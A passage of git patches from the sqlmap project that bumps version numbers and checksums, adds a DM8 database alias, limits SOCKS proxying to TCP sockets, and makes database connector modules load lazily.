SAP MaxDB diff --git a/lib/core/dicts.py b/lib/core/dicts.py index f4822ceae98..3cac6c6f828 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -259,7 +259,7 @@ DBMS.ORACLE: " FROM DUAL", DBMS.ACCESS: " FROM MSysAccessObjects", DBMS.FIREBIRD: " FROM RDB$DATABASE", - DBMS.MAXDB: " FROM VERSIONS", + DBMS.MAXDB: " FROM DUAL", DBMS.DB2: " FROM SYSIBM.SYSDUMMY1", DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS", DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL", diff --git a/lib/core/settings.py b/lib/core/settings.py index d448475cbcd..280b5b486f0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.38" +VERSION = "1.10.1.39" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ab7ce92d832431f588adfbf5105205a29bed3ff1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Jan 2026 23:13:52 +0100 Subject: [PATCH 042/135] Minor update --- data/txt/sha256sums.txt | 4 ++-- data/xml/errors.xml | 1 + lib/core/settings.py | 2 +- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a82e7711d70..84813ac0b4f 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -78,7 +78,7 @@ a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banne e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml 3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml 0223157364ea212de98190e7c6f46f9d2ee20cf3d17916d1af16e857bb5dc575 data/xml/boundaries.xml -ffb3ce7c98e033b5fb7f392f833aa08781041d958b97c53179d1d667237b51af data/xml/errors.xml +02a7f6d6a0e023c3f087f78ab49cfb99e81df2b42e32718f877d90ab220486dc data/xml/errors.xml d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml f2b711ea18f20239ba9902732631684b61106d4a4271669125a4cf41401b3eaf data/xml/payloads/error_based.xml b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2ccc6c4a13cc5e27ac31ac42c988a71c2e02ceb302c3f568763a590fdc48b820 lib/core/settings.py +d8a567ea4246f4767af5d50305ec2c184aa824b54d5e8e61fb44ffd9a4927b12 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 4913733709a..605ffacd9a9 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -9,6 +9,7 @@ + diff --git a/lib/core/settings.py b/lib/core/settings.py index 280b5b486f0..e357cf7ca16 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.39" +VERSION = "1.10.1.40" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 636c12b356d47ab85f9f031566343afacbe4b286 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 14 Jan 2026 15:32:53 +0100 Subject: [PATCH 043/135] Adding missing alias for DM8 (#5894) --- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 84813ac0b4f..6d2d4661db5 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -d8a567ea4246f4767af5d50305ec2c184aa824b54d5e8e61fb44ffd9a4927b12 lib/core/settings.py +c0f848d501c33ae35d0372c7d70ce9bde176691b6962ae94e2d753c2fff17543 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index e357cf7ca16..87e67878cc3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.40" +VERSION = "1.10.1.41" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -298,7 +298,7 @@ MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle", "doris", "starrocks") PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss") -ORACLE_ALIASES = ("oracle", "orcl", "ora", "or") +ORACLE_ALIASES = ("oracle", "orcl", "ora", "or", "dm8") SQLITE_ALIASES = ("sqlite", "sqlite3") ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet") FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb") From 05f2e174c08715f734c93d1427061e6aa10e049a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 16 Jan 2026 13:54:44 +0100 Subject: [PATCH 044/135] Fixes #6006 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- thirdparty/socks/socks.py | 28 +++++++++++++++++++++++++--- 3 files changed, 28 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 6d2d4661db5..2de0bf88aea 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c0f848d501c33ae35d0372c7d70ce9bde176691b6962ae94e2d753c2fff17543 lib/core/settings.py +6cae0d283ebb2e5860f2ea19b2c224b8e22f53b8bcf046809767572638bdcdc5 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -634,7 +634,7 @@ ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odi c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py 7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE -57dba7460c09b7922df68b981e824135f1a6306180ba4c107b626e3232513eff thirdparty/socks/socks.py +56ae8fb03a5cf34cc5babb59f8c2c3bb20388a04f94491f6847989428ce49b82 thirdparty/socks/socks.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py 4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 87e67878cc3..9cca5d49afb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.41" +VERSION = "1.10.1.42" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/socks/socks.py b/thirdparty/socks/socks.py index d9907e7ac5b..065f90e0869 100644 --- a/thirdparty/socks/socks.py +++ b/thirdparty/socks/socks.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """SocksiPy - Python SOCKS module. -Version 1.00 +Version 1.01 Copyright 2006 Dan-Haim. All rights reserved. @@ -44,6 +44,7 @@ """ +import functools import socket import struct @@ -107,8 +108,29 @@ def wrapmodule(module): This will only work on modules that import socket directly into the namespace; most of the Python Standard Library falls into this category. """ - if _defaultproxy != None: - module.socket.socket = socksocket + if _defaultproxy is not None: + _orig_socket_ctor = _orgsocket + + @functools.wraps(_orig_socket_ctor) + def guarded_socket(*args, **kwargs): + # socket.socket([family[, type[, proto]]]) + family = args[0] if len(args) > 0 else kwargs.get("family", socket.AF_INET) + stype = args[1] if len(args) > 1 else kwargs.get("type", socket.SOCK_STREAM) + + # Normalize socket type by stripping flags (Py3.3+ may OR these in) + flags = 0 + flags |= getattr(socket, "SOCK_CLOEXEC", 0) + flags |= getattr(socket, "SOCK_NONBLOCK", 0) + base_type = stype & ~flags + + if family in (socket.AF_INET, getattr(socket, "AF_INET6", socket.AF_INET)) and base_type == socket.SOCK_STREAM: + return socksocket(*args, **kwargs) + + # Fallback: don't proxy AF_UNIX / raw / etc. + return _orig_socket_ctor(*args, **kwargs) + + module.socket.socket = guarded_socket + if _defaultproxy[0] == PROXY_TYPE_SOCKS4: # Note: unable to prevent DNS leakage in SOCKS4 (Reference: https://security.stackexchange.com/a/171280) pass From d5cd281e31c0137e1e755eba785d8065adbd0b23 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 16 Jan 2026 13:57:45 +0100 Subject: [PATCH 045/135] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/controller/handler.py | 3 +-- lib/core/settings.py | 2 +- 3 files changed, 4 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 2de0bf88aea..74edbd452d9 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -164,7 +164,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller/checks.py 430475857a37fd997e73a47d7485c5dd4aa0985ef32c5a46b5e7bff01749ba66 lib/controller/controller.py -1ecbca13afdc7c2bc8dc215c5d7fca453bf836dbe3ca377609750bfbc4874a85 lib/controller/handler.py +fb39bbc2c2c6c48ccfef48f86f7145640b3b79ad79f8b3fa3a0809d4e6ac5f43 lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py 1da4ec9cd9b67c8b54e4a3d314f8237d58778d8f3a00bc26a1e0540294dca30f lib/core/bigarray.py @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -6cae0d283ebb2e5860f2ea19b2c224b8e22f53b8bcf046809767572638bdcdc5 lib/core/settings.py +88cddd0acf53ea99409c37806e9de7be14c9b92eb1d0e365d8fa18a286d4b3a4 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/controller/handler.py b/lib/controller/handler.py index e6736680bae..59bfa9433e8 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -110,7 +110,6 @@ def setHandler(): """ items = [ - (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, SnowflakeConn), (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn), (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn), (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn), @@ -139,7 +138,7 @@ def setHandler(): (DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn), (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, RaimaConn), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, VirtuosoConn), - # TODO: put snowflake stuff on this line + (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, SnowflakeConn), ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9cca5d49afb..d49af352b98 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.42" +VERSION = "1.10.1.43" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9d18c81fe0137a6eb4b1b55fc32c3a92ab731e46 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 16 Jan 2026 14:08:38 +0100 Subject: [PATCH 046/135] Implementing lazy load for connector modules --- data/txt/sha256sums.txt | 4 +- lib/controller/handler.py | 94 ++++++++++++++------------------------- lib/core/settings.py | 2 +- 3 files changed, 37 insertions(+), 63 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 74edbd452d9..d502ee3e2cf 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -164,7 +164,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller/checks.py 430475857a37fd997e73a47d7485c5dd4aa0985ef32c5a46b5e7bff01749ba66 lib/controller/controller.py -fb39bbc2c2c6c48ccfef48f86f7145640b3b79ad79f8b3fa3a0809d4e6ac5f43 lib/controller/handler.py +56e03690c1b783699c9f30cb2f8cc743d3716aba8137e6b253b21d1dd31a4314 lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py 1da4ec9cd9b67c8b54e4a3d314f8237d58778d8f3a00bc26a1e0540294dca30f lib/core/bigarray.py @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -88cddd0acf53ea99409c37806e9de7be14c9b92eb1d0e365d8fa18a286d4b3a4 lib/core/settings.py +a6673663e42347e5ecc83c68f86a191a0d0aee3a9e35b20d0b1c47e48708c6ec lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 59bfa9433e8..a2ea41f25bf 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -44,63 +44,34 @@ from lib.core.settings import SNOWFLAKE_ALIASES from lib.utils.sqlalchemy import SQLAlchemy -from plugins.dbms.access.connector import Connector as AccessConn from plugins.dbms.access import AccessMap -from plugins.dbms.altibase.connector import Connector as AltibaseConn from plugins.dbms.altibase import AltibaseMap -from plugins.dbms.cache.connector import Connector as CacheConn from plugins.dbms.cache import CacheMap -from plugins.dbms.clickhouse.connector import Connector as ClickHouseConn from plugins.dbms.clickhouse import ClickHouseMap -from plugins.dbms.cratedb.connector import Connector as CrateDBConn from plugins.dbms.cratedb import CrateDBMap -from plugins.dbms.cubrid.connector import Connector as CubridConn from plugins.dbms.cubrid import CubridMap -from plugins.dbms.db2.connector import Connector as DB2Conn from plugins.dbms.db2 import DB2Map -from plugins.dbms.derby.connector import Connector as DerbyConn from plugins.dbms.derby import DerbyMap -from plugins.dbms.extremedb.connector import Connector as ExtremeDBConn from plugins.dbms.extremedb import ExtremeDBMap -from plugins.dbms.firebird.connector import Connector as FirebirdConn from plugins.dbms.firebird import FirebirdMap -from plugins.dbms.frontbase.connector import Connector as FrontBaseConn from plugins.dbms.frontbase import FrontBaseMap -from plugins.dbms.h2.connector import Connector as H2Conn from plugins.dbms.h2 import H2Map -from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn from plugins.dbms.hsqldb import HSQLDBMap -from plugins.dbms.informix.connector import Connector as InformixConn from plugins.dbms.informix import InformixMap -from plugins.dbms.maxdb.connector import Connector as MaxDBConn from plugins.dbms.maxdb import MaxDBMap -from plugins.dbms.mckoi.connector import Connector as MckoiConn from plugins.dbms.mckoi import MckoiMap -from plugins.dbms.mimersql.connector import Connector as MimerSQLConn from plugins.dbms.mimersql import MimerSQLMap -from plugins.dbms.monetdb.connector import Connector as MonetDBConn from plugins.dbms.monetdb import MonetDBMap -from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn from plugins.dbms.mssqlserver import MSSQLServerMap -from plugins.dbms.mysql.connector import Connector as MySQLConn from plugins.dbms.mysql import MySQLMap -from plugins.dbms.oracle.connector import Connector as OracleConn from plugins.dbms.oracle import OracleMap -from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn from plugins.dbms.postgresql import PostgreSQLMap -from plugins.dbms.presto.connector import Connector as PrestoConn from plugins.dbms.presto import PrestoMap -from plugins.dbms.raima.connector import Connector as RaimaConn from plugins.dbms.raima import RaimaMap -from plugins.dbms.sqlite.connector import Connector as SQLiteConn from plugins.dbms.sqlite import SQLiteMap -from plugins.dbms.sybase.connector import Connector as SybaseConn from plugins.dbms.sybase import SybaseMap -from plugins.dbms.vertica.connector import Connector as VerticaConn from plugins.dbms.vertica import VerticaMap -from plugins.dbms.virtuoso.connector import Connector as VirtuosoConn from plugins.dbms.virtuoso import VirtuosoMap -from plugins.dbms.snowflake.connector import Connector as SnowflakeConn from plugins.dbms.snowflake import SnowflakeMap def setHandler(): @@ -110,35 +81,35 @@ def setHandler(): """ items = [ - (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn), - (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn), - (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn), - (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn), - (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn), - (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn), - (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn), - (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn), - (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn), - (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn), - (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn), - (DBMS.H2, H2_ALIASES, H2Map, H2Conn), - (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn), - (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn), - (DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn), - (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn), - (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn), - (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn), - (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn), - (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn), - (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickHouseMap, ClickHouseConn), - (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn), - (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn), - (DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn), - (DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn), - (DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn), - (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, RaimaConn), - (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, VirtuosoConn), - (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, SnowflakeConn), + (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, "plugins.dbms.mysql.connector"), + (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, "plugins.dbms.oracle.connector"), + (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, "plugins.dbms.postgresql.connector"), + (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, "plugins.dbms.mssqlserver.connector"), + (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, "plugins.dbms.sqlite.connector"), + (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, "plugins.dbms.access.connector"), + (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, "plugins.dbms.firebird.connector"), + (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, "plugins.dbms.maxdb.connector"), + (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, "plugins.dbms.sybase.connector"), + (DBMS.DB2, DB2_ALIASES, DB2Map, "plugins.dbms.db2.connector"), + (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, "plugins.dbms.hsqldb.connector"), + (DBMS.H2, H2_ALIASES, H2Map, "plugins.dbms.h2.connector"), + (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, "plugins.dbms.informix.connector"), + (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, "plugins.dbms.monetdb.connector"), + (DBMS.DERBY, DERBY_ALIASES, DerbyMap, "plugins.dbms.derby.connector"), + (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, "plugins.dbms.vertica.connector"), + (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, "plugins.dbms.mckoi.connector"), + (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, "plugins.dbms.presto.connector"), + (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, "plugins.dbms.altibase.connector"), + (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, "plugins.dbms.mimersql.connector"), + (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickHouseMap, "plugins.dbms.clickhouse.connector"), + (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, "plugins.dbms.cratedb.connector"), + (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, "plugins.dbms.cubrid.connector"), + (DBMS.CACHE, CACHE_ALIASES, CacheMap, "plugins.dbms.cache.connector"), + (DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, "plugins.dbms.extremedb.connector"), + (DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, "plugins.dbms.frontbase.connector"), + (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, "plugins.dbms.raima.connector"), + (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, "plugins.dbms.virtuoso.connector"), + (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, "plugins.dbms.snowflake.connector"), ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) @@ -146,7 +117,7 @@ def setHandler(): items.remove(_) items.insert(0, _) - for dbms, aliases, Handler, Connector in items: + for dbms, aliases, Handler, connector in items: if conf.forceDbms: if conf.forceDbms.lower() not in aliases: continue @@ -158,9 +129,12 @@ def setHandler(): continue handler = Handler() - conf.dbmsConnector = Connector() + conf.dbmsConnector = None if conf.direct: + _ = __import__(connector, fromlist=['Connector']) + conf.dbmsConnector = _.Connector() + exception = None dialect = DBMS_DICT[dbms][3] diff --git a/lib/core/settings.py b/lib/core/settings.py index d49af352b98..2e422dd1c4a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.43" +VERSION = "1.10.1.44" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c57f461441a9c466b6a02b1969e661376bf03927 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 16 Jan 2026 16:36:32 +0100 Subject: [PATCH 047/135] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- thirdparty/beautifulsoup/beautifulsoup.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d502ee3e2cf..18dd5804d98 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 